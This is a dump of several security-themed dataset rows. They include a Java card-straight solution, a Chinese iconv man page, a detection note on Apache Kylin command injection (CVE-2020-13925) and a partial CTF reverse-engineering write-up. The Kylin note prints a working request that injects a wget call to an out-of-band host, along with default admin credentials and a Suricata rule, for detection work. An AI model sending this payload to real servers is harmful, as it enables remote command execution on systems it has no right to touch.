text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 61. 扑克牌顺子
## 题目链接
[NowCoder](https://www.nowcoder.com/practice/762836f4d43d43ca9deb273b3de8e1f4?tpId=13&tqId=11198&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
五张牌,其中大小鬼为癞子,牌面为 0。判断这五张牌是否能组成顺子。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/eaa506b6-0747-4bee-81f8-3cda795d8154.png" width="350px"> </div><br>
## 解题思路
```java
public boolean isContinuous(int[] nums) {
if (nums.length < 5)
return false;
Arrays.sort(nums);
// 统计癞子数量
int cnt = 0;
for (int num : nums)
if (num == 0)
cnt++;
// 使用癞子去补全不连续的顺子
for (int i = cnt; i < nums.length - 1; i++) {
if (nums[i + 1] == nums[i])
return false;
cnt -= nums[i + 1] - nums[i] - 1;
}
return cnt >= 0;
}
```
|
sec-knowleage
|
.\" Copyright (c) Bruno Haible <haible@clisp.cons.org>
.\"
.\" This is free documentation; you can redistribute it and/or
.\" modify it under the terms of the GNU General Public License as
.\" published by the Free Software Foundation; either version 2 of
.\" the License, or (at your option) any later version.
.\"
.\" References consulted:
.\" OpenGroup's Single Unix specification http://www.UNIX-systems.org/online.html
.\"
.TH ICONV 1 "February 20, 2001" "GNU" "Linux Programmer's Manual"
.SH NAME
iconv \- 字符集转换
.SH "总览 (SYNOPSIS)"
iconv [\fB-f\fP \fIencoding\fP] [\fB-t\fP \fIencoding\fP] [\fIinputfile\fP ...]
.SH "描述 (DESCRIPTION)"
\fBiconv\fP 程序 把 文本 从 一种 编码 转换 为 另一种 编码.
更准确一点, 他是 把 \fB-f\fP 指定的 编码 转换为 \fB-t\fP 指定的 编码.
这两种 编码 默认 都是 当前 locale 的编码, 所有 \fIinputfile\fP 都依次
进行转换. 如果没有指定 \fIinputfile\fP 则使用 标准输入. 转换后的 内容 会
输出到 标准输出.
.PP
允许的 编码 与 具体系统 有关. 具体 实现 可以 查看 iconv_open(3) 手册页.
.SH "参见 (SEE ALSO)"
.BR iconv_open "(3), " locale (7)
.SH "[中文版维护人]"
.B 唐友 \<tony_ty@263.net\>
.SH "[中文版最新更新]"
.BR 2002/3/21
.SH "[中国Linux论坛man手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# T1190-CVE-2020-13925-Apache Kylin 远程操作系统命令注入漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Apache Kylin最早由eBay于2013创建并且开源,2015年成为Apache基金会的顶级项目。他是目前大数据领域应用非常广泛的开源分布式的分析型数据仓库,能够提供提供Hadoop/Spark之上的SQL查询接口及多维分析(OLAP)能力。近年来,大数据行业方兴未艾,Apache Kylin被国内外的很多大型互联网企业广泛应用,被业界称为大数据分析界的“神兽”。
Kylin 系统提供了一个前后端分离的 WEB UI,用户可以在上面管理项目、创建模型、分析数据等。系统提供了一组系统诊断接口,用于在发生故障时获取项目、任务、操作系统的诊断信息,方便调试。
漏洞在于其中两个接口没有对输入参数做安全检查,并且在后续使用过程中拼接到了一个字符串中作为系统命令执行。黑客可以通过构造恶意参数值调用该接口,实现远程执行任意系统命令,获得运行 Apache Kylin 系统的操作系统账号权限。
调用这个两个漏洞接口,需要有账号能够登陆 WEB 系统,但因为该 WEB 系统在安装完成后或部署 docker 容器后会有一个默认管理员账号 admin,并且会设置固定的默认密码 “KYLIN”,如果管理员没有特意修改,则黑客可以直接登陆并利用漏洞。也可能被通过其他方式得到账号或Session的黑客或内鬼利用获得更高权限。
## 检测日志
HTTP
## 测试复现
参考文章:<https://www.freesion.com/article/96341401547/>
## 测试留痕
```yml
GET /kylin/api/diag/project/%7c%7cwget%20qsm6epow3y6ajjhj4vi4mmkc339txi.burpcollaborator.net%7c%7c/download HTTP/1.1
Host: 10.16.45.164:7070
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.107.19:7070/kylin/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: project=%22learn_kylin%22; JSESSIONID=9AC41F447D7504D31753F5D099A4157D; a=1; PHPSESSID=lodt0vr5t8b8rknhihm5ih04s0; zbx_sessionid=f959c1b9463c060987da90c5f916633f; tab=0
Connection: close
```
## 检测规则/思路
### Suricata规则
```s
alert http any any -> any any (msg:"CVE-2020-13925-Apache Kylin 远程操作系统命令注入漏洞";flow:established,to_server;content:"GET";http_method;content:"/kylin/api/diag/project";pcre:"/download/";http_uri;reference:url,www.suphp.cn/anquanke/67/210867.html;classtype:web-application-attck;sid:3002021;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
流量研判,请结合状态码及返回内容进行研判。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
Apache Kylin 远程命令执行漏洞(CVE-2020-13925)
<http://www.suphp.cn/anquanke/67/210867.html>
CVE-2020-13925漏洞复现
<https://www.cnblogs.com/mY-bL0g/p/13895639.html>
|
sec-knowleage
|
# re4 (re, 390pts)
```
michal@DESKTOP-U3SJ9VI:/mnt/c/Users/nazyw/Downloads$ file WH2018.exe
WH2018.exe: PE32+ executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
```
Hm, another .Net binary?

🤔

Okay, something is definietly off here...
# Repairing the binary
Throughout this wirteup we'll use the [kaitai parser](https://ide.kaitai.io/), it's been a massive help in this challange.

So this is probably a upx-packed binary...
Let's take a look at the booched entry point:

So the address of EntryPoint is set to 0, that's kinda odd.
What's weirder, the imageBase is set to 0x400000001E300, that value actually looks like 2 32-bit addresses concatenated.
Could the binary be in fact 32-bit? Let's find out!
All we have to do is move a one bit to the right:

How about the addresses?

That looks better, but the entry point is still messed up and decompressing the binary using upx fails.
But since we know a upx-ed file structure we can just find it manually and set the entry point offset to a correct value.
The unpacking procedure:

Since the entry point is relative to the image base address we'll have to set it to `0x005E28D0 - 0x00400000 = 0x001e28d0`.
upx is still not happy about the binary though:
```bash
michal@debian:/media/sf_nazyw/Downloads$ upx -d WH2018_32
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013
UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: WH2018_32: CantUnpackException: file is modified/hacked/protected; take care!!!
Unpacked 0 files.
```
Well, it turns out the section names have to be correct as well:

```bash
michal@debian:/media/sf_nazyw/Downloads$ upx -d WH2018_32
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013
UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013
File size Ratio Format Name
-------------------- ------ ----------- -----------
1872384 <- 823296 43.97% win32/pe WH2018_32
Unpacked 1 file.
```
Success!
# Core analysis
The binary is crashing because of memory misaligment issues, to solve that we have to turn on the `Relocation information is stripped from the file` bit:

Since the analysis of the decompressed binary is pretty straigh forward, we'll describe just the checks that are performed.
There are 2 functions for handling 2 different button presses.
## First function
The first thing it checks is wheter the program was run with 5 argv parameters:
```c++
v9 = CommandLineToArgvW(v8, &pNumArgs);
if ( pNumArgs != 5 )
{
LOBYTE(v85) = 0;
if ( _InterlockedDecrement((volatile signed __int32 *)(v7 - 16 + 12)) <= 0 )
(*(void (__stdcall **)(int))(**(_DWORD **)(v7 - 16) + 4))(v7 - 16);
v85 = -1;
v10 = (volatile signed __int32 *)(v4 - 16);
LABEL_9:
if ( _InterlockedDecrement(v10 + 3) <= 0 )
(*(void (__stdcall **)(volatile signed __int32 *))(**(_DWORD **)v10 + 4))(v10);
return;
}
```
Then it checks if the third's argument length is equal to 35:
```c++
v15 = v12[2];
v16 = (int)(v15 + 1);
do
{
v17 = *v15;
++v15;
}
while ( v17 );
if ( ((signed int)v15 - v16) >> 1 != 35 )
{
LOBYTE(v88) = 0;
v18 = v42 - 16;
v19 = _InterlockedDecrement((volatile signed __int32 *)(v42 - 16 + 12));
v20 = v19 == 0;
v21 = v19 < 0;
LABEL_17:
if ( v21 || v20 )
(*(void (__stdcall **)(int))(**(_DWORD **)v18 + 4))(v18);
v88 = -1;
v13 = (volatile signed __int32 *)(v41 - 16);
goto LABEL_9;
}
```
Xors it with 0x66:
```c++
do
{
*(&v45 + v31) ^= 0x66u;
++v31;
}
```
And does a bunch of static comparasions:
```
if ( v45 != '_' )
...
if ( v46 != '$' || v47 != '^' || v48 != 'W' || v49 != '_' || v50 != 35 || v51 != '%' || v52 != 'W' )
...
if ( v53 == 'S'
&& v54 == '$'
&& v55 == 'R'
&& v56 == '#'
&& v57 == '$'
&& v58 == '^'
&& v59 == '\''
&& v60 == 'W'
&& v61 == '%'
&& v62 == 'S'
&& v63 == '%'
&& v64 == '\''
&& v65 == 'T'
&& v66 == 'U'
&& v67 == '_'
&& v68 == 'V'
&& v69 == '\''
&& v70 == '#'
&& v71 == 'W'
&& v72 == 'R'
&& v73 == '#'
&& v74 == 'T'
&& v75 == '^'
&& v76 == '_'
&& v77 == '^'
&& v78 == 'Q'
&& v79 == '\'' )
```
From which we get, the value '9B819SC15B4EB8A1C5CA2390AE14E28987A', so from now on we have to launch the binary with that string as the third argument.
## Second function
### First check:
The string is grabbed, md5-ed using the imported functions and then compared to a static array of values:
```c++
BOOL __stdcall sub_407040(int a1)
{
int v1; // esi
int v3; // [esp+8h] [ebp-80h]
int v4; // [esp+Ch] [ebp-7Ch]
int v5; // [esp+10h] [ebp-78h]
int v6; // [esp+14h] [ebp-74h]
int v7; // [esp+18h] [ebp-70h]
int v8; // [esp+1Ch] [ebp-6Ch]
int v9; // [esp+20h] [ebp-68h]
int v10; // [esp+24h] [ebp-64h]
int v11; // [esp+28h] [ebp-60h]
int v12; // [esp+2Ch] [ebp-5Ch]
int v13; // [esp+30h] [ebp-58h]
int v14; // [esp+34h] [ebp-54h]
int v15; // [esp+38h] [ebp-50h]
int v16; // [esp+3Ch] [ebp-4Ch]
int v17; // [esp+40h] [ebp-48h]
int v18; // [esp+44h] [ebp-44h]
int v19; // [esp+48h] [ebp-40h]
int v20; // [esp+4Ch] [ebp-3Ch]
int v21; // [esp+50h] [ebp-38h]
int v22; // [esp+54h] [ebp-34h]
int v23; // [esp+58h] [ebp-30h]
int v24; // [esp+5Ch] [ebp-2Ch]
int v25; // [esp+60h] [ebp-28h]
int v26; // [esp+64h] [ebp-24h]
int v27; // [esp+68h] [ebp-20h]
int v28; // [esp+6Ch] [ebp-1Ch]
int v29; // [esp+70h] [ebp-18h]
int v30; // [esp+74h] [ebp-14h]
int v31; // [esp+78h] [ebp-10h]
int v32; // [esp+7Ch] [ebp-Ch]
int v33; // [esp+80h] [ebp-8h]
int v34; // [esp+84h] [ebp-4h]
v7 = '7';
v8 = '2';
v13 = '7';
v15 = '2';
v3 = '3';
v4 = 'A';
v5 = 'B';
v6 = '4';
v9 = '8';
v10 = '4';
v11 = 'C';
v12 = 'F';
v14 = 'E';
v16 = '6';
v17 = '0';
v18 = '5';
v19 = '4';
v20 = '1';
v21 = 'D';
v22 = '8';
v23 = '1';
v24 = '0';
v25 = 'B';
v26 = 'E';
v27 = 'B';
v28 = '5';
v29 = '4';
v30 = 'D';
v31 = '3';
v32 = '4';
v33 = '0';
v34 = '5';
v1 = 0;
while ( !IsDebuggerPresent() && *(char *)(v1 + a1) == *(&v3 + v1) )
{
if ( ++v1 >= 32 )
return IsDebuggerPresent() == 0;
}
return 0;
}
```
Looking up the hardcoded md5 hash we get `whitehat`
### Second check
The second checks actually consists of 3 checks, with each one checking 24 different bytes of the input.
The first and third ones are based on finding a set of integers that fulfils a certain set of formulas:
```c++
signed int __stdcall sub_4013B0(const void *a1)
{
int v1; // ecx
int v3; // [esp+84h] [ebp-Ch]
int v4; // [esp+88h] [ebp-8h]
int v5; // [esp+8Ch] [ebp-4h]
int v6; // [esp+90h] [ebp+0h]
int v7; // [esp+94h] [ebp+4h]
int v8; // [esp+98h] [ebp+8h]
int v9; // [esp+9Ch] [ebp+Ch]
int v10; // [esp+A0h] [ebp+10h]
int v11; // [esp+A4h] [ebp+14h]
int v12; // [esp+A8h] [ebp+18h]
int v13; // [esp+ACh] [ebp+1Ch]
int v14; // [esp+B0h] [ebp+20h]
int v15; // [esp+B4h] [ebp+24h]
int v16; // [esp+B8h] [ebp+28h]
int v17; // [esp+BCh] [ebp+2Ch]
int v18; // [esp+C0h] [ebp+30h]
int v19; // [esp+C4h] [ebp+34h]
int v20; // [esp+C8h] [ebp+38h]
int v21; // [esp+CCh] [ebp+3Ch]
int v22; // [esp+D0h] [ebp+40h]
int v23; // [esp+D4h] [ebp+44h]
int v24; // [esp+D8h] [ebp+48h]
int v25; // [esp+DCh] [ebp+4Ch]
int v26; // [esp+E0h] [ebp+50h]
int v27; // [esp+E4h] [ebp+54h]
int v28; // [esp+E8h] [ebp+58h]
int v29; // [esp+ECh] [ebp+5Ch]
int v30; // [esp+F0h] [ebp+60h]
int v31; // [esp+F4h] [ebp+64h]
int v32; // [esp+F8h] [ebp+68h]
int v33; // [esp+FCh] [ebp+6Ch]
int v34; // [esp+100h] [ebp+70h]
qmemcpy(&v3, a1, 0x80u);
v1 = 0;
while ( 1467 * v4+ 1464 * v12+ 1491 * v18+ 1961 * v17+ 2169 * v7+ 2145 * v14+ 3358 * v10+ 3281 * v15+ 3500 * v6+ 3478 * v9+ 3391 * v23+ 3436 * v22+ 3705 * v13+ 3604 * v24+ 1153 * v26+ 3962 * v11+ 3942 * v20+ 1292 * v27+ 3995 * v19+ 1382 * v28+ 1716 * v30+ 1726 * v34+ 1902 * v25+ 2718 * v31+ 2895 * v32+ 3421 * v29+ 3447 * v33+ 2827 * (v21 + v16)+ 1724 * v8+ 1334 * v5+ 1041 * v3 == 6528434
&& 1644 * v22+ 1894 * v10+ 1868 * v20+ 2253 * v19+ 2667 * v7+ 2703 * v11+ 2547 * v21+ 2664 * v16+ 2869 * v5+ 2711 * v18+ 2912 * v6+ 3035 * v9+ 3299 * v8+ 3538 * v4+ 3771 * v3+ 3673 * v15+ 3811 * v12+ 3662 * v23+ 1035 * v32+ 3757 * v24+ 1316 * v31+ 1529 * v29+ 1741 * v28+ 1778 * v30+ 1859 * v26+ 2190 * v33+ 2842 * v34+ 3037 * v25+ 3723 * v27+ 2322 * v13+ 1333 * v14+ 1141 * v17 == 6484666
&& (_UNKNOWN *)(1040 * v5+ 1106 * v4+ 1006 * v15+ 1288 * v3+ 1084 * v21+ 1350 * v14+ 1370 * v13+ 1446 * v9+ 1393 * v17+ 1548 * v18+ 1729 * v12+ 1623 * v20+ 1890 * v11+ 1756 * v23+ 2101 * v16+ 2264 * v7+ 2648 * v8+ 2629 * v19+ 2954 * v22+ 3805 * v10+ 3942 * v6+ 3840 * v24+ 1538 * v34+ 1626 * v31+ 2376 * v26+ 2931 * v27+ 2966 * v25+ 2944 * v29+ 3308 * v28+ 3323 * v32+ 3439 * v30+ 3537 * v33) == &unk_5535D1
&& 1270 * v21+ 1573 * v24+ 2118 * v3+ 1930 * v12+ 2115 * v8+ 2072 * v20+ 2541 * v6+ 2386 * v16+ 2639 * v9+ 2704 * v11+ 2673 * v15+ 2833 * v7+ 2929 * v5+ 2745 * v18+ 3082 * v4+ 2977 * v13+ 3021 * v17+ 3306 * v14+ 3658 * v10+ 3777 * v23+ 3829 * v22+ 1161 * v29+ 3924 * v19+ 1636 * v30+ 1574 * v34+ 1767 * v32+ 2290 * v28+ 2355 * v31+ 2512 * v26+ 3097 * v25+ 3655 * v33+ 3986 * v27 == 6823719
&& (_UNKNOWN *)(1724 * v8+ 1191 * v12+ 1350 * v5+ 1287 * v16+ 1430 * v10+ 1457 * v15+ 1588 * v24+ 2031 * v3+ 1753 * v17+ 1758 * v22+ 2150 * v6+ 2107 * v11+ 2383 * v18+ 2941 * v7+ 2966 * v9+ 3209 * v21+ 3337 * v14+ 3909 * v20+ 3945 * v19+ 1422 * v25+ 1506 * v27+ 1762 * v33+ 1946 * v26+ 1900 * v31+ 2030 * v28+ 2413 * v29+ 2655 * v34+ 3168 * v30+ 3591 * v32+ 1221 * v23+ 1007 * v13+ 1052 * v4) == &unk_559DDE
&& 1021 * v18+ 1359 * v4+ 1350 * v12+ 1483 * v8+ 1374 * v15+ 1348 * v19+ 1548 * v7+ 1624 * v5+ 1595 * v9+ 1602 * v11+ 1484 * v22+ 1836 * v14+ 2041 * v10+ 2291 * v13+ 2596 * v17+ 2668 * v21+ 2734 * v24+ 3020 * v16+ 3410 * v3+ 3199 * v20+ 3537 * v6+ 3281 * v23+ 1053 * v25+ 1127 * v31+ 1467 * v32+ 1728 * v33+ 1788 * v30+ 1900 * v29+ 1938 * v28+ 2999 * v26+ 3418 * v27+ 3893 * v34 == 5330889
&& 1224 * v21+ 1648 * v3+ 1303 * v20+ 1514 * v10+ 1617 * v8+ 1935 * v13+ 2483 * v4+ 2519 * v17+ 2616 * v12+ 2556 * v18+ 2813 * v9+ 2798 * v19+ 3008 * v22+ 3310 * v7+ 3309 * v11+ 3249 * v16+ 3421 * v6+ 3451 * v14+ 3600 * v15+ 3807 * v5+ 3609 * v24+ 1093 * v29+ 1195 * v27+ 3844 * v23+ 1523 * v31+ 1503 * v34+ 2587 * v32+ 3343 * v30+ 3314 * v33+ 3485 * v28+ 3702 * v26+ 3989 * v25 == 6888831
&& 1038 * v19+ 1157 * v14+ 1281 * v10+ 1179 * v20+ 1190 * v21+ 1191 * v24+ 1292 * v18+ 1618 * v6+ 1538 * v17+ 2009 * v13+ 2200 * v4+ 2448 * v3+ 2458 * v5+ 2589 * v11+ 2796 * v8+ 2958 * v23+ 3580 * v7+ 3472 * v15+ 3622 * v16+ 3657 * v22+ 1272 * v31+ 2156 * v27+ 2202 * v29+ 2646 * v34+ 2815 * v25+ 2888 * v26+ 3055 * v32+ 3328 * v33+ 3511 * v28+ 3634 * v30+ 3798 * (v9 + v12) == 6321788
&& 1651 * v14+ 1875 * v5+ 1881 * v11+ 1892 * v19+ 2021 * v15+ 2433 * v6+ 2416 * v10+ 2476 * v18+ 2886 * v4+ 2712 * v22+ 2998 * v12+ 3142 * v8+ 3362 * v3+ 3075 * v21+ 3510 * v24+ 3699 * v16+ 1003 * v25+ 3600 * v23+ 3844 * v9+ 1255 * v31+ 1789 * v30+ 2401 * v29+ 2423 * v32+ 2585 * v34+ 3002 * v33+ 3688 * v28+ 3861 * v27+ 3869 * (v26 + v7)+ 2322 * v13+ 1557 * v17+ 1389 * v20 == 6796074
&& 1182 * v3+ 1088 * v5+ 1425 * v19+ 1434 * v21+ 1512 * v24+ 1832 * v9+ 1932 * v10+ 2169 * v11+ 2285 * v4+ 2426 * v6+ 2329 * v16+ 2617 * v7+ 2441 * v23+ 2555 * v20+ 2549 * v22+ 2721 * v13+ 2692 * v18+ 2976 * v15+ 3154 * v12+ 3189 * v14+ 3368 * v17+ 3757 * v8+ 1060 * v26+ 1145 * v25+ 1423 * v30+ 1529 * v34+ 1718 * v27+ 1753 * v28+ 2139 * v29+ 2279 * v31+ 2687 * v33+ 2996 * v32 == 5803503
&& 1193 * v7+ 1114 * v17+ 1297 * v9+ 1263 * v22+ 1455 * v15+ 1488 * v13+ 1355 * v24+ 1949 * v6+ 2105 * v12+ 2286 * v11+ 2282 * v14+ 2549 * v3+ 2316 * v19+ 2866 * v5+ 2734 * v16+ 3195 * v8+ 3437 * v4+ 3416 * v10+ 3701 * v18+ 3671 * v20+ 3786 * v21+ 1756 * v32+ 1912 * v27+ 2185 * v25+ 2321 * v33+ 2558 * v34+ 2808 * v28+ 2832 * v29+ 3053 * v26+ 3945 * v30+ 2313 * (v31 + v23) == 6283755
&& 1044 * v15+ 1481 * v5+ 1659 * v16+ 1982 * v4+ 2144 * v6+ 2129 * v9+ 2466 * v14+ 2745 * v23+ 3196 * v7+ 3161 * v10+ 3024 * v20+ 3222 * v8+ 3173 * v13+ 3154 * v21+ 3253 * v19+ 3292 * v17+ 3646 * v3+ 3450 * v12+ 3535 * v11+ 3439 * v18+ 3510 * v22+ 3649 * v24+ 1787 * v31+ 1905 * v32+ 2022 * v28+ 2186 * v25+ 2474 * v27+ 2391 * v34+ 3018 * v30+ 3168 * v29+ 3313 * v26+ 3958 * v33 == 7038880
&& 1314 * v7+ 1372 * v11+ 1625 * v4+ 2202 * v3+ 2070 * v14+ 2414 * v6+ 2297 * v16+ 2487 * v15+ 2518 * v17+ 2824 * v8+ 2874 * v10+ 2763 * v21+ 3159 * v12+ 2985 * v24+ 3177 * v18+ 3334 * v9+ 3477 * v5+ 3192 * v23+ 3270 * v20+ 3668 * v22+ 3833 * v13+ 1102 * v25+ 3773 * v19+ 1527 * v31+ 2099 * v30+ 2543 * v33+ 2627 * v28+ 2802 * v29+ 2924 * v34+ 3213 * v27+ 3480 * v26+ 3625 * v32 == 6980452
&& 1142 * v14+ 1432 * v8+ 1593 * v10+ 2003 * v7+ 2061 * v5+ 2031 * v12+ 1974 * v22+ 2064 * v17+ 2187 * v19+ 2286 * v16+ 2413 * v21+ 2725 * v11+ 3023 * v3+ 2900 * v18+ 3181 * v6+ 3222 * v15+ 3170 * v24+ 3270 * v23+ 3505 * v9+ 3360 * v20+ 3492 * v13+ 3972 * v4+ 1235 * v25+ 1140 * v33+ 1550 * v32+ 1833 * v26+ 1896 * v29+ 2285 * v31+ 2711 * v27+ 2667 * v30+ 2760 * v28+ 2694 * v34 == 6213703
&& 1119 * v19+ 1087 * v22+ 1624 * v4+ 1694 * v8+ 2019 * v5+ 2018 * v17+ 2060 * v23+ 2466 * v12+ 2484 * v16+ 2464 * v18+ 2658 * v9+ 2593 * v14+ 2678 * v13+ 3125 * v6+ 2926 * v24+ 3302 * v10+ 3371 * v11+ 3695 * v3+ 3576 * v7+ 1010 * v25+ 3851 * v15+ 1043 * v31+ 3800 * v21+ 1227 * v30+ 2164 * v33+ 2757 * v26+ 2758 * v32+ 3170 * v27+ 3109 * v34+ 3315 * v28+ 1576 * (v29 + 2 * v20) == 6470003
&& 1123 * v17+ 1487 * v6+ 1596 * v18+ 1902 * v15+ 2195 * v21+ 2261 * v20+ 2423 * v13+ 2264 * v23+ 2520 * v14+ 2627 * v10+ 2882 * v3+ 2928 * v12+ 3086 * v4+ 3260 * v24+ 3565 * v5+ 3577 * v7+ 3625 * v9+ 3629 * v11+ 3525 * v22+ 1202 * v25+ 3962 * v16+ 1153 * v33+ 1411 * v31+ 1520 * v34+ 1771 * v30+ 2547 * v32+ 3030 * v27+ 3011 * v29+ 3116 * v26+ 3326 * v28+ 1737 * (v19 + 2 * v8) == 6591297
&& 1188 * v5+ 1439 * v20+ 1763 * v6+ 1900 * v11+ 1760 * v22+ 1958 * v13+ 2007 * v16+ 2200 * v18+ 2357 * v23+ 2829 * v10+ 2940 * v7+ 3058 * v19+ 3365 * v15+ 3303 * v21+ 3477 * v17+ 3790 * v3+ 3578 * v14+ 3713 * v12+ 3851 * v8+ 3924 * v4+ 1113 * v27+ 1477 * v25+ 1384 * v34+ 1993 * v33+ 2428 * v32+ 2801 * v29+ 2850 * v30+ 3108 * v26+ 3460 * v31+ 3887 * v28+ 1662 * (v9 + 2 * v24) == 6764513
&& 1540 * v4+ 1357 * v16+ 1835 * v7+ 1823 * v11+ 2111 * v5+ 1896 * v23+ 2405 * v3+ 2022 * v24+ 2357 * v18+ 2704 * v6+ 2626 * v15+ 3356 * v8+ 3350 * v10+ 3271 * v20+ 3337 * v19+ 3485 * v12+ 3361 * v22+ 3556 * v13+ 3526 * v17+ 1041 * v30+ 1129 * v32+ 3869 * v21+ 1229 * v33+ 1423 * v31+ 1696 * v28+ 1717 * v27+ 2112 * v26+ 2565 * v34+ 3617 * v25+ 3585 * v29+ 1072 * (v14 + v9 + 2 * v14) == 6224197
&& 1457 * v13+ 1584 * v9+ 1654 * v11+ 1911 * v19+ 1938 * v24+ 2296 * v5+ 2067 * v21+ 2532 * v15+ 2675 * v23+ 2962 * v8+ 2972 * v12+ 2848 * v22+ 3369 * v14+ 3483 * v18+ 3607 * v17+ 3734 * v10+ 3855 * v6+ 3635 * v20+ 3932 * v4+ 3963 * v16+ 1221 * v33+ 1459 * v31+ 1511 * v28+ 2142 * v26+ 2741 * v29+ 3223 * v25+ 3175 * v30+ 3754 * v27+ 3870 * v34+ 3825 * v32+ 1559 * v3+ 1053 * v7 == 7018874
&& 1205 * v5+ 1193 * v11+ 1300 * v22+ 1734 * v12+ 1881 * v21+ 1962 * v19+ 2279 * v9+ 2176 * v17+ 2626 * v3+ 2637 * v13+ 2701 * v10+ 2548 * v20+ 2783 * v6+ 2705 * v18+ 2934 * v4+ 2641 * v24+ 2993 * v16+ 3398 * v8+ 3534 * v14+ 3413 * v23+ 3556 * v15+ 3850 * v7+ 1443 * v34+ 1611 * v29+ 1855 * v26+ 1877 * v30+ 2142 * v27+ 2855 * v25+ 2752 * v33+ 3462 * v28+ 3424 * v31+ 3678 * v32 == 6717789
&& 1313 * v6+ 1145 * v24+ 1673 * v4+ 1610 * v10+ 1695 * v14+ 1818 * v9+ 1875 * v7+ 2040 * v5+ 2017 * v11+ 2296 * v3+ 2112 * v13+ 2169 * v15+ 2090 * v20+ 2497 * v21+ 2685 * v19+ 3072 * v8+ 3040 * v17+ 2990 * v23+ 3488 * v18+ 3589 * v22+ 3831 * v16+ 3932 * v12+ 1335 * v31+ 1651 * v27+ 2044 * v29+ 2314 * v26+ 2353 * v25+ 2605 * v34+ 3192 * v33+ 3258 * v30+ 3740 * v28+ 3759 * v32 == 6502052
&& 1181 * v4+ 1077 * v22+ 1467 * v15+ 1829 * v6+ 1813 * v19+ 2264 * v3+ 2240 * v18+ 2503 * v5+ 2561 * v13+ 2627 * v14+ 3129 * v17+ 3292 * v9+ 3174 * v20+ 3215 * v23+ 3549 * v11+ 3608 * v8+ 3556 * v12+ 3541 * v16+ 3775 * v7+ 3683 * v24+ 3997 * v10+ 1759 * v30+ 2027 * v33+ 2084 * v34+ 2824 * v27+ 3213 * v25+ 3392 * v29+ 3428 * v32+ 3670 * v31+ 3992 * v26+ 3601 * (v21 + v28) == 7439610
&& 1010 * v15+ 1221 * v11+ 1287 * v7+ 1164 * v19+ 1240 * v18+ 1498 * v5+ 1503 * v10+ 1489 * v17+ 1786 * v4+ 2075 * v3+ 1970 * v6+ 1704 * v24+ 2171 * v16+ 2663 * v12+ 2542 * v20+ 2619 * v21+ 2591 * v23+ 3363 * v14+ 3604 * v9+ 3706 * v13+ 3847 * v8+ 1098 * v33+ 1232 * v26+ 3913 * v22+ 1303 * v31+ 1750 * v27+ 2205 * v28+ 2539 * v30+ 2818 * v25+ 2975 * v29+ 3247 * v34+ 3422 * v32 == 5861762
&& 1262 * v14+ 1545 * v9+ 1540 * v20+ 1678 * v12+ 1944 * v18+ 1870 * v24+ 2584 * v3+ 2289 * v17+ 2318 * v23+ 2648 * v4+ 2508 * v22+ 2712 * v10+ 2769 * v13+ 2913 * v7+ 3075 * v8+ 2985 * v16+ 3245 * v21+ 3546 * v11+ 3519 * v15+ 3864 * v6+ 3971 * v5+ 1132 * v27+ 3865 * v19+ 1152 * v29+ 1472 * v28+ 1601 * v25+ 2087 * v30+ 2323 * v26+ 2570 * v31+ 3103 * v34+ 3763 * v32+ 3901 * v33 == 6606266
&& 1543 * v10+ 1637 * v14+ 1608 * v21+ 2347 * v11+ 2409 * v15+ 2588 * v19+ 2681 * v18+ 3015 * v7+ 2758 * v24+ 3088 * v12+ 3049 * v17+ 3423 * v3+ 3060 * v22+ 3342 * v20+ 3600 * v5+ 3565 * v8+ 3463 * v16+ 3969 * v6+ 3943 * v13+ 1067 * v34+ 1430 * v31+ 1690 * v28+ 1748 * v33+ 1843 * v30+ 2620 * v32+ 2949 * v29+ 3146 * v27+ 3888 * v26+ 3954 * v25+ 1221 * v23+ 1527 * v4+ 1028 * v9 == 6637643
&& 1035 * v5+ 1185 * v7+ 1359 * v14+ 1748 * v12+ 1853 * v9+ 1766 * v16+ 2038 * v8+ 2001 * v24+ 2536 * v3+ 2411 * v21+ 2629 * v10+ 2923 * v13+ 2944 * v17+ 3226 * v6+ 3224 * v11+ 3257 * v15+ 3318 * v19+ 3355 * v23+ 3783 * v4+ 3726 * v20+ 3955 * v18+ 1496 * v26+ 1515 * v28+ 1584 * v27+ 2142 * v33+ 2196 * v34+ 2549 * v25+ 3342 * v30+ 3913 * v32+ 3964 * v29+ 1025 * (v31 + v22 + 2 * v31) == 6620539
